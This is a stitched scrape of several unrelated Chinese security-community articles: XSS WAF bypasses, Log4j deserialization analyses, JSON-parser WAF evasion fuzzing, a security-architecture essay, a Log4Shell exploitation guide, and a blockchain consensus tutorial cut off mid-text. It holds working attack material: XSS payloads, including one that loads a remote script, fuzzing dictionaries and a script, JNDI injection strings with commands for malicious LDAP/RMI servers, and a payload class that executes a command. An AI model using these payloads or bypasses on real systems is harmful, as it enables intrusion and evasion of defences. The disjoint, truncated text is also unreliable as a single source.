同理在uploads等的标签中的搜索框也存在：
## 修复
在2.82版本中增加了wordpress内置函数`esc_attr`进行过滤操作
参考链接：
<https://www.exploit-db.com/exploits/48315>
<https://wordpress.org/plugins/media-library-assistant/#developers> | 社区文章 |
### 介绍
* * *
xxx网站卫士是xxx旗下为网站提供免费加速和防护的云服务平台。为站长免费提供了网站加速,智能高防DNS,防DDOS,防CC,防黑客和网站永久在线等服务，是百万站长的共同...
### 前言
* * *
本来不认识xxx网站卫士的，那天chabug群，有位师傅发了张图，他去云锁官网测试SQL绕过，结果发现云锁官网用了`qianxin-waf`
## 测试
* * *
既然来了测试下，先从容易满足的点出发，我就假设有个参数`?xss=`后面不用考虑闭合之类的，毕竟实战遇到的点各有不同。
首先来看个鸡肋而有趣的例子在推特看到的，作者`@sOmd3v @Ow4ys`
`<x oncopy=y=prompt,y``>z` `<x onpaste=y=prompt,y``>z`
`oncopy 事件`在用户拷贝元素上的内容时触发(反引号可以替换为括号)，所以触发的方法是按下 `CTRL + C`
`onpaste 事件`在用户向元素中粘贴文本时触发，所以触发的方法是按下 `CTRL + V`
再来看一个`<x oncut=y=prompt,y``>z`这个例子触发是`CTRL + X`以上3个例子就是`复制粘贴剪切` ━━∑(￣□￣*|||━━
比较实用的`onmouseover事件`被拦截了，还有onmousedown，onmouseup(这两个需点击字符z)...等on事件感兴趣可以自己查看手册测试
## 更多payload
* * *
说实话，我在测这个waf时，过程很顺利，可能是我测过几个waf的原因，感觉对xss检测不是很严，可能是我测试的环境`太乐观了`，毕竟实战各种`鸡肋环境`，但是我发现对于HTML5新出的几个标签属性还是没过滤的，还有少数waf，on事件没过滤全，可能有些on事件属于比较鸡肋的原因。
Bypass payload:
<details open ontoggle=[1].find(alert)>
<select autofocus onfocus=[2].find(alert)>
<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
## fuzz字典
* * *
为什么我很快能得到Bypass payload呢，因为我自己有收集和构造属于自己的字典，下面我大概讲解下自己的思路。
(一个xss的基本结构)
#### [TAG]标签
* * *
标签方便也很简单，就多关注HTML新出了那些标签。
a
abbr
acronym
address
applet
area
article
aside
audio
b
base
basefont
bdi
bdo
big
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1 to h6
head
header
hr
html
i
iframe
img
input
ins
kbd
keygen
label
legend
li
link
map
mark
menu
meta
meter
nav
noframes
noscript
object
ol
optgroup
option
output
p
param
pre
progress
q
rp
rt
ruby
s
samp
script
section
select
small
source
span
strike
strong
style
sub
summary
sup
table
tbody
td
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr
#### [EVENT]事件
* * *
on事件，可以自己去查查文档，都有作用，以及利用条件。
onafterprint
onbeforeprint
onbeforeunload
onerror
onhaschange
onload
onmessage
onoffline
ononline
onpagehide
onpageshow
onpopstate
onredo
onresize
onstorage
onundo
onunload
onblur
onchange
oncontextmenu
onfocus
onformchange
onforminput
oninput
oninvalid
onreset
onselect
onsubmit
onkeydown
onkeypress
onkeyup
onclick
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onscroll
onabort
oncanplay
oncanplaythrough
ondurationchange
onemptied
onended
onerror
onloadeddata
onloadedmetadata
onloadstart
onpause
onplay
onplaying
onprogress
onratechange
onreadystatechange
onseeked
onseeking
onstalled
onsuspend
ontimeupdate
onvolumechange
onwaiting
#### [SAVE_PAYLOAD]可执行代码
* * *
这个看自己收集和构造的，编码拆分组合拼接各种骚操作都可以。
#### 构造payload
* * *
有了上面的准备，我们可以构造出大量xss_payload。
也可以利用key师傅这个js脚本，优点很明显能直接弹框的，脚本自己修改下就行。
var i,j,k,xss,f=0;
var ons = ["onload","onerror"];
var labs = ["a","b","q","br","dd","dl","dt","h1","del","abbr","video","base","audio","details"];
var hexs= ["%09","%00","%0d","%0a"];
for(i=0;i<labs.length;i++){
for(j=0;j<hexs.length;j++){
for(k=0;k<ons.length;k++){
xss = f+'<'+labs[i]+hexs[j]+ons[k]+"=alert("+f+") src=a>a";
var body = document.getElementsByTagName("body");
var div = document.createElement("div");
div.innerHTML = f+"<iframe src=\"http://127.0.0.1/index.php?fuzz="+xss+"\"></iframe>";
document.body.appendChild(div);
f = f+1;
}
}
}
其他脚本可以去Github寻找，这样收集构造出属于自己的xss_payload.txt 测试时直接fuzz看结果，再根据结果进一步fuzz。
## 后记
* * *
大家平时可以去推特逛逛，HackerOne精彩xss文章等，收集扩展逐步完善自己的字典。 | 社区文章 |
本文将分析最近公开的 **Log4j1.2.X反序列化漏洞（CVE-2019-17571）** ，顺带分析
**Log4j2.X反序列化漏洞（CVE-2017-5645）** 。
## CVE-2019-17571
影响版本：Log4j1.2.x<=1.2.17
漏洞环境：Log4j1.2.17+Debian+JDK1.7
下载地址：<https://logging.apache.org/log4j/1.2/download.html>
### 漏洞分析
其实这个漏洞非常简单，本质就是对从 **socket** 流中获取的数据没有进行过滤，而直接反序列化。如果当前环境中存在可利用的反序列化
**Gadget** 链，就可以达到命令执行等效果。我们可以创建如下 **Demo** 代码用于测试。
// src/SocketDeserializeDemo.java
import org.apache.log4j.net.SimpleSocketServer;
public class SocketDeserializeDemo {
public static void main(String[] args){
System.out.println("INFO: Log4j Listening on port 8888");
String[] arguments = {"8888", (new SocketDeserializeDemo()).getClass().getClassLoader().getResource("log4j.properties").getPath()};
SimpleSocketServer.main(arguments);
System.out.println("INFO: Log4j output successfuly.");
}
}
# src/resources/log4j.properties
log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n
我们跟进 **SimpleSocketServer** 的 **main** 方法，发现其中调用了 **SocketNode** 类，具体代码如下。
如下图， **SocketNode** 类实现了 **Runnable** 接口，其构造方法从 **socket** 流中获取了数据，并将数据封装为一个
**ObjectInputStream** 对象。然后在其 **run** 方法中调用了 **readObject**
方法进行反序列化操作。由于这里没有对数据进行过滤，所以这里就出现了反序列化漏洞。
这里我们添加一条 **commons-collections** 的 **Gadget** 链用来演示命令执行。
## CVE-2017-5645
影响版本：Log4j2.x<=2.8.1
漏洞环境：Log4j2.8.1+Debian+JDK1.7
下载地址：<https://archive.apache.org/dist/logging/log4j/2.8.1/>
### 漏洞分析
漏洞本质和上面是一样的，我们先创建如下 **Demo** 代码用于测试。
// src/main/java/Log4jSocketServer.java
import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Log4jSocketServer {
public static void main(String[] args){
TcpSocketServer<ObjectInputStream> myServer = null;
try{
myServer = new TcpSocketServer<ObjectInputStream>(8888, new ObjectInputStreamLogEventBridge());
} catch(IOException e){
e.printStackTrace();
}
myServer.run();
}
}
<!-- maven文件pom.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-2.x-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
当我们运行代码后，程序会在本地的 **8888** 端口开始等待接收数据，然后在下图第105行代码处，将接收到的数据转换成
**ObjectInputStream** 对象数据，最终在 `handler.start()` 中调用 **SocketHandler** 类的
**run** 方法。
在 **SocketHandler** 类的 **run** 方法中， **ObjectInputStream** 对象数据被传入了
**ObjectInputStreamLogEventBridge** 类的 **logEvents** 方法，而反序列化就发生在这个方法中。
同样这里我们添加一条 **commons-collections** 的 **Gadget** 链用来演示命令执行。
## 参考
[log4j<=1.2.17反序列化漏洞（CVE-2019-17571）分析](https://mp.weixin.qq.com/s/RLvvzKbBwKp-War98pvn9w)
<https://twitter.com/pyn3rd/status/1209446292390215681>
[CVE-2017-5645 hunting over Code Property Graph using
Ocular](https://medium.com/@chetan_conikee/cve-2017-5645-hunting-over-code-property-graph-using-ocular-db48fc294d38) | 社区文章 |
**作者：Glassy**
**原文链接：<https://g1asssy.com/2022/03/11/fuzz/>**
## 引言
安全防护产品在进行防护的时候是需要对流量中的数据进行处理的，同样，被攻击的应用也需要处理这些数据以保证业务的正常进行，然而在很多情况下，安全产品处理数据流的框架和应用处理数据流的框架往往不同，在针对常规数据方面，当然不会出现问题，然而一旦被防护应用的数据处理框架的兼容性大于安全产品数据处理框架的兼容性，那么就会出现这么一种情形：攻击者提交的数据被应用正常解析，而安全产品解析失败，这样恶意的流量就会成功绕过安全产品进入被攻击的应用。因此寻求目标机器与安全防护产品在数据处理能力上的兼容性差异便会成为突破安全产品的一种卓尔有效的手段。
## 实战讲解
### 基于json解析兼容性的示例
以Java为例，现阶段市面上主流的处理json字符串的框架有fastjson、gson、jackson三种。常见的WAF为了保证对于各种语言开发应用的兼容性，一般会使用自写的json解析器。由于笔者在进行fuzz的过程中发现，gson和jackson在兼容性方面几乎没有任何差异，猜测这两种框架对于json数据的兼容应该代表着主流json解析器的能力，而fastjson在我的印象中一向拥有更强大的兼容性，所以产生想法，是否可以在一段正常的json数据中各个位置插入不同的字符使得gson(它代表着主流gson解析器)进行json解析时候报错，而fastjson能够正常解析，那么在对应用进行攻击的时候，一旦发现应用使用了fastjson框架，便能构造出WAF认不出来但应用可以认出来的数据，从而突破WAF的防御，代码思路如下
1、写一个正常的json字符串。
2、在它的各种位置尝试插入 1-65535 中的每个字符，生产一个非常规json。
3、将非常规json交给gson处理，报错。
4、交给fastjson处理，正常，将该json记录下来。
核心代码如下
public static void jsonFuzz(String demo) {
CheckFunc func = new CheckFunc() {
@Override
public void check(String origin, String fuzzData, char fuzzChar) {
//由于打不风安全产品都会对字符串做trim处理，因此，如果fuzz的字符和原字符trim结果相同，基本没什么意义
if (!origin.trim().equals(fuzzData.trim())) {
try {
Entity entity = JSONObject.parseObject(fuzzData, Entity.class);
//********该测试用例中主要用来发掘fastjson兼容而gson不兼容的特性，但有些安全产品使用自研json解析器，json兼容性更差，则可以注释掉下面代码，直接fuzz出fastjson的全部特性
try {
Gson gson = new Gson();
Entity gsonEntity = gson.fromJson(fuzzData, Entity.class);
if (gsonEntity.toString().equals("Entity{num=666, content='test'}")) {
//如果gson能解了，就代表这个特性gson也是可以兼容的，说明这个fuzzData是无效数据，因为大家都能解，安全产品就具备对这种payload的防御能力了，所以直接return
return;
}
} catch (Exception ignored) {
//如果gson报错了，我们直接忽略它，让程序继续往下走，因为我们期待的数据就是fastjson能解，而gson解不出来的数据
}
//**************************gson-end***************
if (entity.toString().equals("Entity{num=666, content='test'}")) {
System.out.println("charNum: " + (int) fuzzChar + "|char: " + fuzzChar + "|content: " + fuzzData);
}
} catch (Exception exception) {
if (exception instanceof JSONException) {
} else {
exception.printStackTrace();
}
}
}
}
};
int length = demo.length();
for (int i = 0; i < length; i++) {
System.out.println("*************************插入字符位置：" + i + "*************************");
Utils.doFuzz(demo, i, HandleType.INSERT, func);
}
for (int i = 0; i < length; i++) {
System.out.println("*************************替换字符位置：" + i + "*************************");
Utils.doFuzz(demo, i, HandleType.REPLACE, func);
}
}
最终得出结果很多，欢迎大家去笔者github中拉取代码跑一下看一看，这里举出比较有代表性的几种写法，
*************************插入字符位置：1*************************
charNum: 12|char:
|content: {(这里有一个ascii为12的字符)"num":666,"content":"test"}
charNum: 44|char: ,|content: {,"num":666,"content":"test"}
*************************插入字符位置：10*************************
charNum: 40|char: (|content: {"num":666(,"content":"test"}
charNum: 41|char: )|content: {"num":666),"content":"test"}
charNum: 43|char: +|content: {"num":666+,"content":"test"}
charNum: 44|char: ,|content: {"num":666,,"content":"test"}
charNum: 45|char: -|content: {"num":666-,"content":"test"}
charNum: 59|char: ;|content: {"num":666;,"content":"test"}
charNum: 66|char: B|content: {"num":666B,"content":"test"}
charNum: 76|char: L|content: {"num":666L,"content":"test"}
charNum: 83|char: S|content: {"num":666S,"content":"test"}
charNum: 91|char: [|content: {"num":666[,"content":"test"}
charNum: 93|char: ]|content: {"num":666],"content":"test"}
charNum: 123|char: {|content: {"num":666{,"content":"test"}
通过以上特性去构造sql注入的payload，很多安全产品都无法成功解析数据，取得value，从而失去了sql注入的检测能力。（考虑到不少安全产品对于json采用流式解析，因此导致json异常的特殊字符一定要放在注入payload之前）
结论：Gson相对而言是一种功能较为强大的json解析器了，json兼容性其实算是比较优秀，在笔者的测试过程中也发现存在不少json是gson能解而市面上的WAF解不了了，大家可以去探索试验一下。
### 基于数字字符兼容性的示例
这个特性同样来自于Java，并且是一个大家耳熟能详的函数，
Integer.parseInt(str)
笔者在对该函数进行fuzz的过程中，发现Java的parseInt是支持异形字的，测试代码如下，
public static void getParseIntFuzzResult() {
for (char c = 0; c < 65535; c++) {
String str = Character.toString(c);
try {
for (int num : numList) {
if (Integer.parseInt(str) == num && !String.valueOf(num).equals(str)) {
System.out.println(num + ":->charNum: " + (int) c + "|char: " + str);
}
}
} catch (Exception ignored) {
}
}
}
测试结果如下(结果太长，同样只截取部分)
那么这个场景在哪里应用呢，同样是fastJson，审计fastjson的源码，会发现它支持unicode编码，并且在处理unicode编码的使用用到了Integer.parseInt
代码位置：com.alibaba.fastjson.parser.JSONLexerBase
case 'u':
char c1 = this.next();
char c2 = this.next();
char c3 = this.next();
char c4 = this.next();
int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);
hash = 31 * hash + val;
this.putChar((char)val);
break;
我们取一条最常见的json字符串，看一看它的变形能到什么程度，
同样通过异形字的变形，无论在反序列的的利用上还是sql注入的利用上绕过安全产品都可以取得一个比较不错的效果。
## 总结
通过兼容性突破安全产品的思路和场景当然远不止这些，我相信在类似于xml解析中可能也会存在类似问题，文章权当是抛砖引玉引出一种思路，欢迎优秀的白帽子们深入探索，末尾给出本次试验中的[项目代码](https://github.com/GlassyAmadeus/FuzzProject/tree/main)方便各位调试，查看结果。
* * * | 社区文章 |
## Author:feei@蘑菇街
### 安全项目架构
如果在传统行业和互联网公司都工作过，会发现一个有趣的现象。一些传统行业在企业安全建设上会对外宣传他们经过了各种安全认证、使用了HTTPS证书、数据加密储存了，而安全团队也把重心放在《网络安全法》、《信息安全等级保护》、各种行业规范、各种安全测评机构的安全测试上。当了解到数据重要就把员工各种监控起来、申请权限要经过十八道审核，恨不得手机都不能带进公司，最好再搜下身。殊不知这些仅是安全建设中一个微小的点，早期优先级不那么高的点，甚至都不足以影响到常规的入侵路径，而企业觉得已经高枕无忧了。
反观互联网行业，本就有开放基因，做事则直击要害。但安全行业不同于传统软件行业，常常会出现产品不懂技术，技术不懂架构，导致资源浪费无法集中重心。而安全架构的目的除了把握好方向、设计整体安全架构外，最重要的是知道在什么时候做什么、如何做才能发挥最大的作用，尽可能的减少和避免会遇到的坑、弯路。知道每一个项目的背景、思路、技术方案、技术难点及成果产出等。
### 漏洞无处不在
漏洞会以不同的形态出现在不同载体上，业务设计不合理存在漏洞、编写网站的代码中存在漏洞、存放网站代码的服务器存在漏洞、服务器连入网络可能存在漏洞等等。
### 安全项目
既然这么多地方存在安全问题，无法同时做好所有方向，所以需要针对企业不同资源投入、业务量级、问题情况来针对性的制定安全架构。整体可以以入侵生命流程来制定长期的安全架构，模拟攻击，做好应急，彻底防御，深入每个点、联动每个点。
### **攻击（漏洞和情报发现）**
### **主动人工渗透测试和代码审计**
渗透测试是模拟攻击者去攻击网站，从而找到一些安全漏洞。代码审计是通过分析应用代码中的入参处理、函数调用来找出其中存在的漏洞。在业务简单、公司起步阶段可以投入一些资源进行黑白盒测试，将一些显著的安全问题挖掘出来并修复掉。
**主动自动化黑盒漏洞扫描和白盒代码审计**
随着业务线的扩张和公司的壮大，上线的项目越来越多、代码量也越来越大，已经没办法只通过人工的方式去挖掘漏洞了。此时需要引入自动化的黑盒漏洞扫描和白盒代码审计，实现快速的安全发现能力。
**主动情报获取**
每天都在产生新的漏洞，这类情报都需要在第一时间内获取到，并进行对应的应急响应处置。除了公开的情报，很多时候需要渗透到黑灰产的圈子中了解他们最新的动态也能更直接的应对。
**被动情报与漏洞**
仅靠自有系统和人员无法及时发现所有漏洞，此时应当建立对外的安全应急响应中心（SRC），向外部表明开放的立场，去收取白帽子或用户发现的安全情报和漏洞，并给予礼物和现金奖励作为回报，同时也搞好和白帽子的关系。
### **应急**
**安全技术评估小组**
设立一个专门的小组来处理外部提交的漏洞的审核和内部提交的安全需求的评估，小组应当由有渗透经验的人员参与。项目规划时针对技术方案的安全建议/项目上线前的安全评估/SRC收到的漏洞评估/扫描器扫到的漏洞评估。
漏洞审核
当安全应急响应中心（SRC）收到外部白帽子提交的漏洞后，前期由小组一起评审确定漏洞等级和奖励，并在此过程中不断的完善的评估方法，后续对于曾经出现过的漏洞按照历史经验进行审核，新型漏洞小组一起评审。
安全评估
当收到公司内部新产品或项目的安全评估时，由一人了解业务具体情况，并反馈给小组一同评估和测试。
**安全技术委员会**
当出现重大安全事故时，由安全核心人员和技术负责人、公关部门等组成的安全委员会来决定应急处置方案。
**部门安全接口人**
安全应急响应中心（SRC）的漏洞都是一个一个收集的，比较容易找到责任人，也比较容易跟进修复。但黑盒漏洞扫描和白盒代码审计所发现的漏洞可能是成百上千，无法由安全团队逐一进行推进修复，此时可以先用防御手段先抵挡住以缓解因修复时间过程导致的空档期，为每一个技术部门定一个安全接口人，漏洞由各团队安全接口人认领，此后的修复状况由安全接口人跟进并同步至安全团队。
**漏洞管理**
漏洞的发现地方太多了，考虑到审核/去重/统计等问题，需要由一个统一的地方来存储管理。包括漏洞的初始化/已确认待分配/已分配修复中/已修复待上线/已上线。对于各种来源的统计/各种危害等级的统计/各种类型的统计等等。并根据这些统计数据来针对后续的项目规划做好数据基础。
**漏洞修复**
修复文档
针对每一种漏洞，安全人员需要针对性的复现测试，明白其中的原理及可能绕过的方法，并一次推导出万无一失的修复方案，并将这些方案整理成方便开发人员理解和阅读的修复文档。
文档中应包含漏洞的介绍/业务例子/代码例子/利用方式/进阶利用方式/修复方法及引用的文档规范等。
修复组件
发现漏洞后，需要由产生漏洞代码的编写者来进行修复，一是属于他的业务，二是加深其对于该漏洞的认识。但由于每一位开发人员的技术水平/安全意识各不相同，往往对于修复文档的理解不同导致修复完的代码存在被绕过的二次安全问题，所以针对经常出现的漏洞，比如XSS，应当由安全团队开发出修复组件，开发人员只需引用组件并调用相对应漏洞的修复方法即可修复。修复上线后再由安全评估组进行修复验证测试。
**安全运营**
运营新媒体（微信公众号、微博等）和安全应急响应中心（SRC）。
**安全培训**
由于非常多的安全问题往往是因为人的一个小疏忽，或者是根本不知情/无意识的操作，只要稍微了解一些就不会出现。所以针对开发人员的安全开发培训是很必要的，针对常见的安全漏洞讲解其中的例子和原因，让开发人员都了解一些过往的安全事故，避免再犯。除了已经入职的人员外，对于新人也需要设立专门的入职培训，来避免重蹈覆辙。
**安全分享**
参加内部和外部安全会议分享，了解前沿技术。同时也将做得好的一些地方分享出去。
**安全规范**
制定各类安全规范，让所有事情和流程规范起来，避免过度依赖经验。比如编码安全规范、框架/版本使用规范、各类安全策略规范、漏洞应急规范、漏洞评估规范、漏洞修复规范、应用上线规范等等。
**关系维护**
维护和白帽子、厂商关系，关注安全会议最新技术动向，维护媒体和政府相关部门关系。
**防御（对抗）**
除了需要通过各种攻击的手法将漏洞发现出来并修复掉之外，还需要主动防御以对抗遗漏的漏洞和不断更新的漏洞。每一个层面都存在攻击，所以对抗也必须是全面的，同样也需要找准重点。
应对策略
**早期**
**以资源投入来决定安全架构**
早期的时候由于老板对于安全重视不够，人员、资金等资源投入不足，所以需要尽可能的做一些 **投入资源小而结果突出的项目**
，来避免广撒网导结果产出不理想的情况，也为了避免陷于磨灭人员斗志的困境。比如在前端安全上，内容安全策略（CSP）就是一个比较好的选择。了解清楚它的原理和规则配置，就可以在短时间内灰度/上线所有业务，结果也很直接，大多数的广告劫持都将被拦截并上报，除此之外还有很多附加产出，能够拦截常见的反射型XSS/点击劫持/iFrame劫持等等。针对XSS盗取用户身份认证造成的强大危害，可以在生成SESSION
ID的Cookie时，增加HTTP Only选项，能明显降低XSS危害。
**借外力助攻**
毕竟早期资源有限，同时也只有少量项目符合投入资源小而结果突出的原则，此时应当借助外部力量。通过一些外部的资源支撑来获得最大化的结果，比如使用按结果付费的众测服务来找到自身哪方面比较薄弱，并通过这些薄弱类型来选择对应的防御措施，这些措施可以是购买外部商业化产品，也可以是选择开源项目的二次开发。
**人人都是安全工程师**
通过对开发人员的安全培训，使其了解常见的安全漏洞利用方法和产生原因，发动所有开发工程师成为安全研究员。
**中期**
中期人员相对充足，预算也有了一些，就需要做一些 **资源投入大而结果同样突出的**
项目，来提升技术沉淀，避免让技术人员觉得成长不够。比如网络安全上，Web应用防火墙（WAF）。NGINX为主流Web服务器的今天，使用像VeryNGINX这类的开源项目，能够帮助企业快速的搭建一套常规漏洞拦截与新型漏洞防御的系统，起到立竿见影的效果。
**后期**
后期人员充足后，就可以将所有的安全项目"点"都布局好并深入，由点到面的防御工事，改变原先突围一层即可直捣中心，并做好所有项目间的联动。
入侵者如果通过Web服务获得服务器权限，则需要经过WAF/IPS/IDS/蜜罐/服务器监控等层层把守，当突破所有限制拿到这台服务器权限后，也发现无法渗透更多服务器、造成更大的影响。
首发地址:<http://mp.weixin.qq.com/s/RlBTH9-xrY7Nd1ZJK3KjDQ> | 社区文章 |
# 为什么我的payload没用——Apache Log4j2 命令执行漏洞细节分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
[Apache Log4j2
2.14.1及以下版本存在命令执行漏洞](https://mp.weixin.qq.com/s?__biz=MzA4MTg0MDQ4Nw==&mid=2247522966&idx=1&sn=db5856dd214c079f00f9d77e736520ca&chksm=9f8c0a9ea8fb83887c8484147afdf73ae2442f1c42f5e5c076a7a82377c88d41c6d148d77a1a&scene=21#wechat_redirect)
## 加固
1. 设置参数：
log4j2.formatMsgNoLookups=True
2. 修改JVM参数：
-Dlog4j2.formatMsgNoLookups=true
3. 系统环境变量：
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
禁止 log4j2 所在服务器外连
## 利用方式
//被攻击端poc验证代码如下
private static final Logger logger = LogManager.getLogger(log4j.class);
//127.0.0.1替换为恶意ldap（rmi)的服务器地址，字符串前后还可以有任意字符。
//结尾xxx为按照恶意服务器的提示来，marshalsec-0.0.3-SNAPSHOT-all.jar，随便写。JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 按照提示填入即可。
logger.error("${jndi:ldap://127.0.0.1:1389/xxx}");
# 恶意服务器
# marshalsec-0.0.3-SNAPSHOT-all.jar 建ldap服务，ExecTemplateJDK8=恶意class的类名，否则报错。
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8889/#ExecTemplateJDK8"
# marshalsec-0.0.3-SNAPSHOT-all.jar 建rmi服务
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8889/#ExecTemplateJDK8"
# JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 一键建RMI LDAP服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:\Windows\System32\calc.exe" -A "127.0.0.1"
# 建立 ExecTemplateJDK8.class 下载HTTP服务器，python 2.7
python.exe -m SimpleHTTPServer 8889
//恶意的ExecTemplateJDK8.class 源码
public class ExecTemplateJDK8 {
public ExecTemplateJDK8() {
}
static {
try {
String var0 = "C:\\Windows\\System32\\calc.exe";
Runtime.getRuntime().exec(var0);
} catch (Exception var1) {
var1.printStackTrace();
}
System.out.println();
}
}
## 生效步骤
执行 log.info(字符串)，字符串中包含`${jndi:ldap://127.0.0.1:1389/efalpz}`。
请求恶意LDAP（RMI)服务器获取恶意class的url，请求url下载恶意class。
载入恶意class，执行恶意class。
## 生效条件
必须是log4j 2。logback，log4j 1.x都不行。springboot 2默认使用logback，天然不生效。
trustURLCodebase必须是true。jdk8 221版本后，默认ldap是关闭的。必须手工打开（如下代码），否则不成功。
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
所以很多网图，都是生效了前两步，因为没用开trustURLCodebase开关，恶意class不载入执行。
## log4j2源码分析
以此[POC](https://github.com/tangxiaofeng7/apache-log4j-poc)为例子，一路按step in进入下图
在
org.apache.logging.log4j.core.layout.PatternLayout中，i=8进入EL表达式解析`${jndi:ldap://127.0.0.1:1389/efalpz}`。
如果调试springboot 2.5.X是i=14
一路跟踪到MessagePatternConverter中，字符串中的EL表达式，这里可以看到。只要字符串中存在表达即可。
从下图最大红框中可见如果this.noLookps=true，那么就不进入解析了。所以，加固前三条生效也在于此。
其它分析可以略过，除了占字数没用什么用处。值得注意的是在MessagePatternConverter中不只有ldap和rmi，看下图：
红框中的参数均可以触发EL表达式，为后期的bypass提供了条件。
截图还有很多，这里就不再累述了。总结如下
log4j
2在格式化消息时，对传入的日志字符串，会当成EL表达式进行解析，除了`${jndi`开头以外还有`${ctx`、`${lower`等等，这就给攻击者提供了控制点。因为开发者处于安全考虑，习惯性的通过日志系统记录来自用户的输入信息。当日志级别大于等于系统设置的log.level的时候，log4j2会解析上述EL表达式，出现`${jndi:ldap://url`时就访问url指向的恶意服务器，按照其指令载入恶意class并执行。值得注意的就是可以参看”生效条件“一节，并不是打出了dnslog就必然可以getshell。
## springboot2中再现漏洞
禁用logback，加入log4j 2。可以通过配置pom.xml实现如下
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
## 结尾
log4j原意是认为，log字符串是开发者用于标注日志内容，其它错误内容应该在Throwable的异常中体现，但是由于如何打印日志没代码级强制规范，日常开发中往往通过拼接字符串，直接输出变量值到日志，而变量来源于用户输入时，引起了这一漏洞。 | 社区文章 |
上一篇文章中我们讲述了传统的Pow已经Pos相关的延伸共识算法。而在这篇文章中，我们讲述一下区块链的精髓PBFT以及其延伸算法。
在安全方面，我们给大家科普一下日蚀攻击已经贿赂攻击。并且一步一步带大家复现一下前些日子爆出的区块链整数溢出攻击。希望大家能够从文章中了解到区块链的共识算法，并对相应的攻击手段有所掌握。
**为了便于初学者接受，文章选择从基础开始讲起。有需要讨论的同学下方留言即可。**
### 一、拜占庭容错算法（PBFT）
#### 1 算法简介
学习区块链的同学都知道“挖矿”这个名词，而根据我们前文讲述的Pow机制我们也了解了其挖矿的原理。然而，比特币的发起人-中本聪为什么选择使用Pow作为其共识算法？而Pow是被用来解决什么样子的问题呢？下面我们就来讲述一下区块链的原始思想——拜占庭将军问题。
根据维基百科：拜占庭将军问题（Byzantine Generals
Problem），是由莱斯利·兰波特在其同名论文中提出的分布式对等网络通信容错问题。在分布式计算中，不同的计算机通过通讯交换信息达成共识而按照同一套协作策略行动。但有時候，系统中的成员计算机可能出错而发送错误的信息，用于传递信息的通讯网络也可能导致信息损坏，使得网络中不同的成员关于全体协作的策略得出不同结论，从而破坏系统一致性。拜占庭将军问题被认为是容错性问题中最难的问题类型之一。
而简单来说，下面我们假设一个场景。假设班级里有五个人，其中一个是小霸王（就是块头又大有喜欢欺负别人的熊孩子），而其他四个人饱受那个小霸王的欺负。然而他们四个加起来也许可以打过小霸王。有一天他们约好了一起去找小霸王说理，也就是意味着只要四个人中有一个人不到场那他们就输了，而他们其中任何一个人都可以选择去或者不去，那我们如何让这四个人针对这一个问题达成共识呢？
**这其实就是著名的拜占庭将军问题，分析一下，它有几个特点：1、敌人很强大；2、作为弱者的几个人实力均等（以上四个小伙伴）；3、明确弱者联合起来可以打败强大的敌人；4、只要有一个弱者退出，合作势必失败。**
简单来说，拜占庭将军问题就是 **“如何让众多完全平等的节点针对某一状态达成共识”** 。
